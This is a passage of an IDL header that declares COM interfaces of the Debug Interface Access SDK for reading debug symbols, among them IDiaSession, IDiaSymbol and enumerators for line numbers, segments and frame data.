helpstring("IDiaEnumInputAssemblyFiles Interface"), pointer_default(unique) ] interface IDiaEnumInputAssemblyFiles: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumInputAssemblyFiles." ); PROPERTY_RO( LONG, Count, 1, "Number of input assembly files." ); [id(0), helpstring("Return the source file for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IDiaInputAssemblyFile **file); HRESULT Next( [in] ULONG celt, [out] IDiaInputAssemblyFile ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumInputAssemblyFiles **ppenum); } [ object, uuid(FE30E878-54AC-44f1-81BA-39DE940F6052), local, helpstring("IDiaEnumLineNumbers Interface"), pointer_default(unique) ] interface IDiaEnumLineNumbers: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumLineNumbers." ); PROPERTY_RO( LONG, Count, 1, "Number of line numbers." ); [id(0), helpstring("Return the line number for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IDiaLineNumber **lineNumber); HRESULT Next( [in] ULONG celt, [out] IDiaLineNumber ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumLineNumbers **ppenum); } [ object, uuid(D5612573-6925-4468-8883-98CDEC8C384A), local, helpstring("IDiaEnumInjectedSources Interface"), pointer_default(unique) ] interface IDiaEnumInjectedSources: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumInjectedSources." ); PROPERTY_RO( LONG, Count, 1, "Number of injected source files." ); [id(0), helpstring("Return the injected source for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IDiaInjectedSource **injectedSource); HRESULT Next( [in] ULONG celt, [out] IDiaInjectedSource ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumInjectedSources **ppenum); } [ object, uuid(E8368CA9-01D1-419d-AC0C-E31235DBDA9F), local, helpstring("IDiaEnumSegments Interface"), pointer_default(unique) ] interface IDiaEnumSegments: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumSegments." ); PROPERTY_RO( LONG, Count, 1, "Number of segments." ); [id(0), helpstring("Return the segment for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IDiaSegment **segment); HRESULT Next( [in] ULONG celt, [out] IDiaSegment ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumSegments **ppenum); } [ object, uuid(1994DEB2-2C82-4b1d-A57F-AFF424D54A68), local, helpstring("IDiaEnumSectionContribs Interface"), pointer_default(unique) ] interface IDiaEnumSectionContribs: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumSectionContribs." ); PROPERTY_RO( LONG, Count, 1, "Number of section contributions." ); [id(0), helpstring("Return the section contribution for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IDiaSectionContrib **section); HRESULT Next( [in] ULONG celt, [out] IDiaSectionContrib ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumSectionContribs **ppenum); } [ object, uuid(9FC77A4B-3C1C-44ed-A798-6C1DEEA53E1F), local, helpstring("IDiaEnumFrameData Interface"), pointer_default(unique) ] interface IDiaEnumFrameData: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumFrameData." ); PROPERTY_RO( LONG, Count, 1, "Number of frames." ); [id(0), helpstring("Return the frame for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IDiaFrameData **frame); HRESULT Next( [in] ULONG celt, [out] IDiaFrameData ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumFrameData **ppenum); // // The following two by-address lookups do not reposition the enumeration // [helpstring("Return the frame for the given relative virtual address.")] HRESULT frameByRVA( [in] DWORD relativeVirtualAddress, [out, retval]IDiaFrameData **frame); [helpstring("Return the frame for the given virtual address.")] HRESULT frameByVA( [in] ULONGLONG virtualAddress, [out, retval]IDiaFrameData **frame); } [ object, uuid(486943E8-D187-4a6b-A3C4-291259FFF60D), local, helpstring("IDiaEnumDebugStreamData Interface"), pointer_default(unique) ] interface IDiaEnumDebugStreamData: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumDebugStreamData." ); PROPERTY_RO( LONG, Count, 1, "Number of elements in the stream." ); PROPERTY_RO( BSTR, name, 2, "Stream name." ); [id(0), helpstring("Return the element for the given index.")] HRESULT Item( [in] DWORD index, [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData ); HRESULT Next( [in] ULONG celt, [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumDebugStreamData **ppenum); } [ object, uuid(08CBB41E-47A6-4f87-92F1-1C9C87CED044), local, helpstring("IDiaEnumDebugStreams Interface"), pointer_default(unique) ] interface IDiaEnumDebugStreams: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumDebugStreams." ); PROPERTY_RO( LONG, Count, 1, "Number of streams." ); [id(0), helpstring("Return the stream for the given index.")] HRESULT Item([in] VARIANT index, [out, retval]IDiaEnumDebugStreamData **stream); HRESULT Next( [in] ULONG celt, [out] IDiaEnumDebugStreamData ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumDebugStreams **ppenum); } struct DiaAddressMapEntry { DWORD rva; DWORD rvaTo; }; [ object, uuid(B62A2E7A-067A-4ea3-B598-04C09717502C), local, helpstring("IDiaAddressMap Interface"), pointer_default(unique) ] interface IDiaAddressMap: IUnknown { PROPERTY_RW( BOOL, addressMapEnabled, 3, "Enable address translations." ); PROPERTY_RW( BOOL, relativeVirtualAddressEnabled, 4, "Enable relative virtual address computations."); PROPERTY_RW( DWORD, imageAlign, 5, "Original image alignment." ); HRESULT set_imageHeaders( [in] DWORD cbData, [in, size_is(cbData)] BYTE *pbData, // actual type is IMAGE_SECTION_HEADER[] [in] BOOL originalHeaders ); // true: headers are original, that is, they match the debug symbols // false: headers are current, that is, they match the image HRESULT set_addressMap( [in] DWORD cData, // number of entries in rva map [in, size_is(cData)] struct DiaAddressMapEntry *pData, // rva map [in] BOOL imageToSymbols ); // true: map from image to symbols (omapt) // false: map from symbols to image (omapf) }; [ object, uuid(2F609EE1-D1C8-4E24-8288-3326BADCD211), local, helpstring("IDiaSession Interface"), pointer_default(unique) ] interface IDiaSession: IUnknown { PROPERTY_RW( ULONGLONG, loadAddress, 1, "Dll/Exe load address." ); PROPERTY_RO( IDiaSymbol*, globalScope, 2, "Global scope (exe) symbol." ); HRESULT getEnumTables( [out] IDiaEnumTables** ppEnumTables ); HRESULT getSymbolsByAddr( [out] IDiaEnumSymbolsByAddr** ppEnumbyAddr ); // // Queries that return sets of symbols // HRESULT findChildren( [in] IDiaSymbol* parent, [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [out] IDiaEnumSymbols** ppResult ); HRESULT findChildrenEx( [in] IDiaSymbol* parent, [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [out] IDiaEnumSymbols** ppResult ); HRESULT findChildrenExByAddr( [in] IDiaSymbol* parent, [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [in] DWORD isect, [in] DWORD offset, [out] IDiaEnumSymbols** ppResult ); HRESULT findChildrenExByVA( [in] IDiaSymbol* parent, [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [in] ULONGLONG va, [out] IDiaEnumSymbols** ppResult ); HRESULT findChildrenExByRVA( [in] IDiaSymbol* parent, [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [in] DWORD rva, [out] IDiaEnumSymbols** ppResult ); HRESULT findSymbolByAddr( [in] DWORD isect, [in] DWORD offset, [in] enum SymTagEnum symtag, [out] IDiaSymbol** ppSymbol ); HRESULT findSymbolByRVA( [in] DWORD rva, [in] enum SymTagEnum symtag, [out] IDiaSymbol** ppSymbol ); HRESULT findSymbolByVA( [in] ULONGLONG va, [in] enum SymTagEnum symtag, [out] IDiaSymbol** ppSymbol ); HRESULT findSymbolByToken( [in] ULONG token, [in] enum SymTagEnum symtag, [out] IDiaSymbol** ppSymbol ); HRESULT symsAreEquiv( [in] IDiaSymbol* symbolA, [in] IDiaSymbol* symbolB ); HRESULT symbolById( [in] DWORD id, [out] IDiaSymbol** ppSymbol ); HRESULT findSymbolByRVAEx( [in] DWORD rva, [in] enum SymTagEnum symtag, [out] IDiaSymbol** ppSymbol, [out] long* displacement ); HRESULT findSymbolByVAEx( [in] ULONGLONG va, [in] enum SymTagEnum symtag, [out] IDiaSymbol** ppSymbol, [out] long* displacement ); // // Queries that return source file results // HRESULT findFile( [in] IDiaSymbol* pCompiland, [in] LPCOLESTR name, [in] DWORD compareFlags, [out] IDiaEnumSourceFiles** ppResult ); HRESULT findFileById( [in] DWORD uniqueId, [out] IDiaSourceFile** ppResult ); // // Queries that return line number results // HRESULT findLines( [in] IDiaSymbol* compiland, [in] IDiaSourceFile* file, [out] IDiaEnumLineNumbers** ppResult ); HRESULT findLinesByAddr( [in] DWORD seg, [in] DWORD offset, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult ); HRESULT findLinesByRVA( [in] DWORD rva, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult ); HRESULT findLinesByVA( [in] ULONGLONG va, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult ); HRESULT findLinesByLinenum( [in] IDiaSymbol* compiland, [in] IDiaSourceFile* file, [in] DWORD linenum, [in] DWORD column, [out] IDiaEnumLineNumbers** ppResult ); // // Queries that return injected source // HRESULT findInjectedSource( [in] LPCOLESTR srcFile, [out] IDiaEnumInjectedSources** ppResult ); HRESULT getEnumDebugStreams( [out] IDiaEnumDebugStreams** ppEnumDebugStreams); // // Queries that return inline frames // HRESULT findInlineFramesByAddr( [in] IDiaSymbol* parent, [in] DWORD isect, [in] DWORD offset, [out] IDiaEnumSymbols** ppResult); HRESULT findInlineFramesByRVA( [in] IDiaSymbol* parent, [in] DWORD rva, [out] IDiaEnumSymbols** ppResult); HRESULT findInlineFramesByVA( [in] IDiaSymbol* parent, [in] ULONGLONG va, [out] IDiaEnumSymbols** ppResult); // // Queries that return inlinee lines // HRESULT findInlineeLines( [in] IDiaSymbol* parent, [out] IDiaEnumLineNumbers** ppResult); HRESULT findInlineeLinesByAddr( [in] IDiaSymbol* parent, [in] DWORD isect, [in] DWORD offset, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findInlineeLinesByRVA( [in] IDiaSymbol* parent, [in] DWORD rva, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findInlineeLinesByVA( [in] IDiaSymbol* parent, [in] ULONGLONG va, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findInlineeLinesByLinenum( [in] IDiaSymbol* compiland, [in] IDiaSourceFile* file, [in] DWORD linenum, [in] DWORD column, [out] IDiaEnumLineNumbers** ppResult); // // Query inline instance // HRESULT findInlineesByName( [in] LPCOLESTR name, [in] DWORD option, [out] IDiaEnumSymbols** ppResult); // Find Accelerator InlineeLines by line number HRESULT findAcceleratorInlineeLinesByLinenum( [in] IDiaSymbol* parent, [in] IDiaSourceFile* file, [in] DWORD linenum, [in] DWORD column, [out] IDiaEnumLineNumbers** ppResult); // Find symbols corresponding to a Accelerator address taken // variable from its tag value HRESULT findSymbolsForAcceleratorPointerTag( [in] IDiaSymbol *parent, [in] DWORD tagValue, [out] IDiaEnumSymbols** ppResult); HRESULT findSymbolsByRVAForAcceleratorPointerTag( [in] IDiaSymbol *parent, [in] DWORD tagValue, [in] DWORD rva, [out] IDiaEnumSymbols** ppResult); HRESULT findAcceleratorInlineesByName( [in] LPCOLESTR name, [in] DWORD option, [out] IDiaEnumSymbols** ppResult); HRESULT addressForVA( [in] ULONGLONG va, [out] DWORD* pISect, [out] DWORD* pOffset); HRESULT addressForRVA( [in] DWORD rva, [out] DWORD* pISect, [out] DWORD* pOffset); ///////////////////////////////////// HRESULT findILOffsetsByAddr( [in] DWORD isect, [in] DWORD offset, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findILOffsetsByRVA( [in] DWORD rva, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findILOffsetsByVA( [in] ULONGLONG va, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findInputAssemblyFiles( [out] IDiaEnumInputAssemblyFiles** ppResult); HRESULT findInputAssembly( [in] DWORD index, [out] IDiaInputAssemblyFile** ppResult); HRESULT findInputAssemblyById( [in] DWORD uniqueId, [out] IDiaInputAssemblyFile** ppResult); HRESULT getFuncMDTokenMapSize( [out] DWORD *pcb); HRESULT getFuncMDTokenMap( [in] DWORD cb, [out] DWORD *pcb, [out, size_is(cb)] BYTE *pb); HRESULT getTypeMDTokenMapSize( [out] DWORD *pcb); HRESULT getTypeMDTokenMap( [in] DWORD cb, [out] DWORD *pcb, [out, size_is(cb)] BYTE *pb); ///////////////////////////////////// HRESULT getNumberOfFunctionFragments_VA( [in] ULONGLONG vaFunc, [in] DWORD cbFunc, [out] DWORD *pNumFragments); HRESULT getNumberOfFunctionFragments_RVA( [in] DWORD rvaFunc, [in] DWORD cbFunc, [out] DWORD *pNumFragments); HRESULT getFunctionFragments_VA( [in] ULONGLONG vaFunc, [in] DWORD cbFunc, [in] DWORD cFragments, [out, size_is(cFragments)] ULONGLONG *pVaFragment, [out, size_is(cFragments)] DWORD *pLenFragment); HRESULT getFunctionFragments_RVA( [in] DWORD rvaFunc, [in] DWORD cbFunc, [in] DWORD cFragments, [out, size_is(cFragments)] DWORD *pRvaFragment, [out, size_is(cFragments)] DWORD *pLenFragment); HRESULT getExports( [out] IDiaEnumSymbols** ppResult); HRESULT getHeapAllocationSites( [out] IDiaEnumSymbols** ppResult ); HRESULT findInputAssemblyFile( [in] IDiaSymbol* pSymbol, [out] IDiaInputAssemblyFile** ppResult); }; /* * Table Columns * * Symbols - a symbol will have values in some subset of the fields */ [ object, uuid(cb787b2f-bd6c-4635-ba52-933126bd2dcd), local, helpstring("IDiaSymbol Interface"), pointer_default(unique) ] interface IDiaSymbol: IUnknown { PROPERTY_RO( DWORD, symIndexId, 0, "Unique symbol identifier." ); PROPERTY_RO( DWORD, symTag, 1, "Symbol kind tag." ); PROPERTY_RO( BSTR, name, 2, "Name" ); PROPERTY_RO( IDiaSymbol*, lexicalParent, 3, "Lexical parent symbol."); PROPERTY_RO( IDiaSymbol*, classParent, 4, "."); PROPERTY_RO( IDiaSymbol*, type, 5, "."); PROPERTY_RO( DWORD, dataKind, 6, "."); PROPERTY_RO( DWORD, locationType, 7, "."); PROPERTY_RO( DWORD, addressSection, 8, "."); PROPERTY_RO( DWORD, addressOffset, 9, "."); PROPERTY_RO( DWORD, relativeVirtualAddress, 10, "."); PROPERTY_RO( ULONGLONG, virtualAddress, 11, "."); PROPERTY_RO( DWORD, registerId, 12, "."); PROPERTY_RO( LONG, offset, 13, "."); PROPERTY_RO( ULONGLONG, length, 14, "."); PROPERTY_RO( DWORD, slot, 15, "."); PROPERTY_RO( BOOL, volatileType, 16, "."); PROPERTY_RO( BOOL, constType, 17, "."); PROPERTY_RO( BOOL, unalignedType, 18, "."); PROPERTY_RO( DWORD, access, 19, "."); PROPERTY_RO( BSTR, libraryName, 20, "."); PROPERTY_RO( DWORD, platform, 21, "."); PROPERTY_RO( DWORD, language, 22, "."); PROPERTY_RO( BOOL, editAndContinueEnabled, 23, "."); PROPERTY_RO( DWORD, frontEndMajor, 24, "."); PROPERTY_RO( DWORD, frontEndMinor, 25, "."); PROPERTY_RO( DWORD, frontEndBuild, 26, "."); PROPERTY_RO( DWORD, backEndMajor, 27, "."); PROPERTY_RO( DWORD, backEndMinor, 28, "."); PROPERTY_RO( DWORD, backEndBuild, 29, "."); PROPERTY_RO( BSTR, sourceFileName, 30, "."); PROPERTY_RO( BSTR, unused, 31, "."); PROPERTY_RO( DWORD, thunkOrdinal, 32, "."); PROPERTY_RO( LONG, thisAdjust, 33, "."); PROPERTY_RO( DWORD, virtualBaseOffset, 34, "."); PROPERTY_RO( BOOL, virtual, 35, "."); PROPERTY_RO( BOOL, intro, 36, "."); PROPERTY_RO( BOOL, pure, 37, "."); PROPERTY_RO( DWORD, callingConvention, 38, "."); PROPERTY_RO( VARIANT, value, 39, "."); PROPERTY_RO( DWORD, baseType, 40, "."); PROPERTY_RO( DWORD, token, 41, "."); PROPERTY_RO( DWORD, timeStamp, 42, "."); PROPERTY_RO( GUID, guid, 43, "."); PROPERTY_RO( BSTR, symbolsFileName, 44, "."); PROPERTY_RO( BOOL, reference, 46, "L-value Reference"); PROPERTY_RO( DWORD, count, 47, "."); PROPERTY_RO( DWORD, bitPosition, 49, "."); PROPERTY_RO( IDiaSymbol*, arrayIndexType, 50, "."); PROPERTY_RO( BOOL, packed, 51, "."); PROPERTY_RO( BOOL, constructor, 52, "UDT has constructor or destructor, or func is a constructor"); PROPERTY_RO( BOOL, overloadedOperator, 53, "."); PROPERTY_RO( BOOL, nested, 54, "."); PROPERTY_RO( BOOL, hasNestedTypes, 55, "."); PROPERTY_RO( BOOL, hasAssignmentOperator, 56, "."); PROPERTY_RO( BOOL, hasCastOperator, 57, "."); PROPERTY_RO( BOOL, scoped, 58, "."); PROPERTY_RO( BOOL, virtualBaseClass, 59, "."); PROPERTY_RO( BOOL, indirectVirtualBaseClass, 60, "."); PROPERTY_RO( LONG, virtualBasePointerOffset, 61, "."); PROPERTY_RO( IDiaSymbol*, virtualTableShape, 62, "."); PROPERTY_RO( DWORD, lexicalParentId, 64, "Lexical parent symbol."); PROPERTY_RO( DWORD, classParentId, 65, "."); PROPERTY_RO( DWORD, typeId, 66, "."); PROPERTY_RO( DWORD, arrayIndexTypeId, 67, "."); PROPERTY_RO( DWORD, virtualTableShapeId, 68, "."); PROPERTY_RO( BOOL, code, 69, "Symbol refers to a code address." ); PROPERTY_RO( BOOL, function, 70, "Symbol refers to a function." ); PROPERTY_RO( BOOL, managed, 71, "Symbol refers to managed code." ); PROPERTY_RO( BOOL, msil, 72, "Symbol refers to MSIL code." ); PROPERTY_RO( DWORD, virtualBaseDispIndex, 73, "."); PROPERTY_RO( BSTR, undecoratedName, 74, "."); PROPERTY_RO( DWORD, age, 75, "PDB file age." ); PROPERTY_RO( DWORD, signature, 76, "Signature." ); PROPERTY_RO( BOOL, compilerGenerated, 77, "Symbol or function is compiler generated." ); PROPERTY_RO( BOOL, addressTaken, 78, "Symbol is address taken." ); PROPERTY_RO( DWORD, rank, 79, "Rank of FORTRAN multi-dimension array." ); PROPERTY_RO( IDiaSymbol*, lowerBound, 80, "Lower bound of a FORTRAN array dimension."); PROPERTY_RO( IDiaSymbol*, upperBound, 81, "Upper bound of a FORTRAN array dimension."); PROPERTY_RO( DWORD, lowerBoundId, 82, "Symbol Id of the lower bound of a FORTRAN array dimension."); PROPERTY_RO( DWORD, upperBoundId, 83, "Symbol Id of the upper bound of a FORTRAN array dimension."); HRESULT get_dataBytes( [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData ); HRESULT findChildren( [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [out] IDiaEnumSymbols** ppResult ); HRESULT findChildrenEx( [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [out] IDiaEnumSymbols** ppResult ); HRESULT findChildrenExByAddr( [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [in] DWORD isect, [in] DWORD offset, [out] IDiaEnumSymbols** ppResult ); HRESULT findChildrenExByVA( [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [in] ULONGLONG va, [out] IDiaEnumSymbols** ppResult ); HRESULT findChildrenExByRVA( [in] enum SymTagEnum symtag, [in] LPCOLESTR name, [in] DWORD compareFlags, [in] DWORD rva, [out] IDiaEnumSymbols** ppResult ); PROPERTY_RO( DWORD, targetSection, 84, "Thunk target address section."); PROPERTY_RO( DWORD, targetOffset, 85, "Thunk target address offset."); PROPERTY_RO( DWORD, targetRelativeVirtualAddress, 86, "Thunk target RVA."); PROPERTY_RO( ULONGLONG, targetVirtualAddress, 87, "Thunk target virtual address."); PROPERTY_RO( DWORD, machineType, 88, "Target machine type." ); PROPERTY_RO( DWORD, oemId, 89, "Identifier of manufacturer."); PROPERTY_RO( DWORD, oemSymbolId, 90, "Manufacturer defined custom symbol identifier." ); HRESULT get_types( [in] DWORD cTypes, [out] DWORD *pcTypes, [out, size_is(cTypes, )] IDiaSymbol**pTypes ); HRESULT get_typeIds( [in] DWORD cTypeIds, [out] DWORD *pcTypeIds, [out, size_is(cTypeIds)] DWORD *pdwTypeIds ); PROPERTY_RO(IDiaSymbol*, objectPointerType, 91, "Type of method's object pointer."); PROPERTY_RO(DWORD, udtKind, 92, "struct, union, class or interface"); HRESULT get_undecoratedNameEx( [in] DWORD undecorateOptions, [out] BSTR* name ); PROPERTY_RO(BOOL, noReturn, 93, "NoReturn"); PROPERTY_RO(BOOL, customCallingConvention, 94, "uses custom calling convention"); PROPERTY_RO(BOOL, noInline, 95, "NoInline"); PROPERTY_RO(BOOL, optimizedCodeDebugInfo, 96, "has debugging Info for optimized code"); PROPERTY_RO(BOOL, notReached, 97, "Unreachable"); PROPERTY_RO(BOOL, interruptReturn, 98, "return from interrupt"); PROPERTY_RO(BOOL, farReturn, 99, "far return"); PROPERTY_RO(BOOL, isStatic, 100, "static function"); PROPERTY_RO(BOOL, hasDebugInfo, 101, "hasDebugInfo"); PROPERTY_RO(BOOL, isLTCG, 102, "Compiled With LTCG"); PROPERTY_RO(BOOL, isDataAligned, 103, "Is it compiled with -Bzalign"); PROPERTY_RO(BOOL, hasSecurityChecks, 104, "hasSecurityChecks"); PROPERTY_RO(BSTR, compilerName, 105, "compiler name"); PROPERTY_RO(BOOL, hasAlloca, 106, "hasAlloca"); PROPERTY_RO(BOOL, hasSetJump, 107, "hasSetJump"); PROPERTY_RO(BOOL, hasLongJump, 108, "hasLongJump"); PROPERTY_RO(BOOL, hasInlAsm, 109, "hasInlineAssembly"); PROPERTY_RO(BOOL, hasEH, 110, "hasC++EH"); PROPERTY_RO(BOOL, hasSEH, 111, "hasStructuredEH"); PROPERTY_RO(BOOL, hasEHa, 112, "hasAsynchronousEH"); PROPERTY_RO(BOOL, isNaked, 113, "IsNaked"); PROPERTY_RO(BOOL, isAggregated, 114, "isAggregated"); PROPERTY_RO(BOOL, isSplitted, 115, "isSplitted"); PROPERTY_RO(IDiaSymbol *, container, 116, "container"); PROPERTY_RO(BOOL, inlSpec, 117, "WasSpecifiedAsInline"); PROPERTY_RO(BOOL, noStackOrdering, 118, "BufferChecksWithoutOrdering"); PROPERTY_RO(IDiaSymbol *, virtualBaseTableType, 119, "Type of Virtual Base Offset Table"); PROPERTY_RO(BOOL, hasManagedCode, 120, "hasManagedCode"); PROPERTY_RO(BOOL, isHotpatchable, 121, "isHotpatchable"); PROPERTY_RO(BOOL, isCVTCIL, 122, "isCVTCIL"); PROPERTY_RO(BOOL, isMSILNetmodule, 123, "isMSILNetmodule"); PROPERTY_RO(BOOL, isCTypes, 124, "isCTypes"); PROPERTY_RO(BOOL, isStripped, 125, "isStripped"); PROPERTY_RO(DWORD, frontEndQFE, 126, "."); PROPERTY_RO(DWORD, backEndQFE, 127, "."); PROPERTY_RO(BOOL, wasInlined, 128, "WasInlined"); PROPERTY_RO(BOOL, strictGSCheck, 129, "StrictGSCheck"); PROPERTY_RO(BOOL, isCxxReturnUdt, 130, "return C++ style UDT"); PROPERTY_RO(BOOL, isConstructorVirtualBase, 131, "instance constructor of a class with virtual base"); PROPERTY_RO(BOOL, RValueReference, 132, "R-value Reference"); PROPERTY_RO(IDiaSymbol*, unmodifiedType, 133, "unmodified type"); PROPERTY_RO(BOOL, framePointerPresent, 134, "frame pointer present"); PROPERTY_RO(BOOL, isSafeBuffers, 135, "isSafeBuffers"); PROPERTY_RO(BOOL, intrinsic, 136, "isIntrinsicType"); PROPERTY_RO(BOOL, sealed, 137, "can't be base class, or method can't be overridden"); PROPERTY_RO(BOOL, hfaFloat, 138, "HFA float"); PROPERTY_RO(BOOL, hfaDouble, 139, "HFA double"); PROPERTY_RO(DWORD, liveRangeStartAddressSection, 140, "LiveRangeStartAddressSection"); PROPERTY_RO(DWORD, liveRangeStartAddressOffset, 141, "LiveRangeStartAddressOffset"); PROPERTY_RO(DWORD, liveRangeStartRelativeVirtualAddress, 142, "LiveRangeStartRelativeVirtualAddress"); PROPERTY_RO(DWORD, countLiveRanges, 143, "number of live ranges"); PROPERTY_RO(ULONGLONG, liveRangeLength, 144, "length of live range"); PROPERTY_RO(DWORD, offsetInUdt, 145, "offset into UDT"); PROPERTY_RO(DWORD, paramBasePointerRegisterId, 146, "ID of the register holding base pointer to parameters"); PROPERTY_RO(DWORD, localBasePointerRegisterId, 147, "ID of the register holding base pointer to locals"); PROPERTY_RO(BOOL, isLocationControlFlowDependent, 148, "location is dependent on control flow"); PROPERTY_RO(DWORD, stride, 149, "stride"); PROPERTY_RO(DWORD, numberOfRows, 150, "number of rows in a matrix"); PROPERTY_RO(DWORD, numberOfColumns, 151, "number of columns in a matrix"); PROPERTY_RO(BOOL, isMatrixRowMajor, 152, "matrix is row major"); HRESULT get_numericProperties( [in] DWORD cnt, [out] DWORD *pcnt, [out, size_is(cnt)] DWORD *pProperties ); HRESULT get_modifierValues( [in] DWORD cnt, [out] DWORD *pcnt, [out, size_is(cnt)] WORD *pModifiers ); PROPERTY_RO(BOOL, isReturnValue, 153, "this variable holds return value"); PROPERTY_RO(BOOL, isOptimizedAway, 154, "this variable is optimized away"); PROPERTY_RO(DWORD, builtInKind, 155, "built in type kind"); PROPERTY_RO(DWORD, registerType, 156, "register type kind"); PROPERTY_RO(DWORD, baseDataSlot, 157, "base data slot"); PROPERTY_RO(DWORD, baseDataOffset, 158, "base data offset start"); PROPERTY_RO(DWORD, textureSlot, 159, "texture slot start"); PROPERTY_RO(DWORD, samplerSlot, 160, "sampler slot start"); PROPERTY_RO(DWORD, uavSlot, 161, "UAV slot start"); PROPERTY_RO(DWORD, sizeInUdt, 162, "size in UDT"); PROPERTY_RO(DWORD, memorySpaceKind, 163, "memory space kind"); PROPERTY_RO(DWORD, unmodifiedTypeId, 164, "unmodified type ID"); PROPERTY_RO(DWORD, subTypeId, 165, "sub type ID"); PROPERTY_RO(IDiaSymbol*, subType, 166, "sub type"); PROPERTY_RO(DWORD, numberOfModifiers, 167, "number of modifiers"); PROPERTY_RO(DWORD, numberOfRegisterIndices, 168, "number of HLSL register indices"); PROPERTY_RO(BOOL, isHLSLData, 169, "is HLSL data"); PROPERTY_RO(BOOL, isPointerToDataMember, 170, "is pointer to data member"); PROPERTY_RO(BOOL, isPointerToMemberFunction, 171, "is pointer to member function"); PROPERTY_RO(BOOL, isSingleInheritance, 172, "is single inheritance"); PROPERTY_RO(BOOL, isMultipleInheritance, 173, "is multiple inheritance"); PROPERTY_RO(BOOL, isVirtualInheritance, 174, "is virtual inheritance"); PROPERTY_RO(BOOL, restrictedType, 175, "."); PROPERTY_RO(BOOL, isPointerBasedOnSymbolValue, 176, "pointer based on value of a symbol"); PROPERTY_RO(IDiaSymbol*, baseSymbol, 177, "base symbol for base pointer"); PROPERTY_RO(DWORD, baseSymbolId, 178, "ID of base symbol for base pointer"); PROPERTY_RO(BSTR, objectFileName, 179, "object file name"); PROPERTY_RO(BOOL, isAcceleratorGroupSharedLocal, 180, "is Accelerator group shared local"); PROPERTY_RO(BOOL, isAcceleratorPointerTagLiveRange, 181, "is live range of Accelerator pointer tag"); PROPERTY_RO(BOOL, isAcceleratorStubFunction, 182, "is Accelerator stub function"); PROPERTY_RO(DWORD, numberOfAcceleratorPointerTags, 183, "number of Accelerator pointer tags"); PROPERTY_RO(BOOL, isSdl, 184, "compiled with /sdl"); PROPERTY_RO(BOOL, isWinRTPointer, 185, "is WinRT pointer"); PROPERTY_RO(BOOL, isRefUdt, 186, "is ref class/struct"); PROPERTY_RO(BOOL, isValueUdt, 187, "is value class/struct"); PROPERTY_RO(BOOL, isInterfaceUdt, 188, "is interface class/struct"); HRESULT findInlineFramesByAddr( [in] DWORD isect, [in] DWORD offset, [out] IDiaEnumSymbols** ppResult); HRESULT findInlineFramesByRVA( [in] DWORD rva, [out] IDiaEnumSymbols** ppResult); HRESULT findInlineFramesByVA( [in] ULONGLONG va, [out] IDiaEnumSymbols** ppResult); HRESULT findInlineeLines( [out] IDiaEnumLineNumbers** ppResult); HRESULT findInlineeLinesByAddr( [in] DWORD isect, [in] DWORD offset, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findInlineeLinesByRVA( [in] DWORD rva, 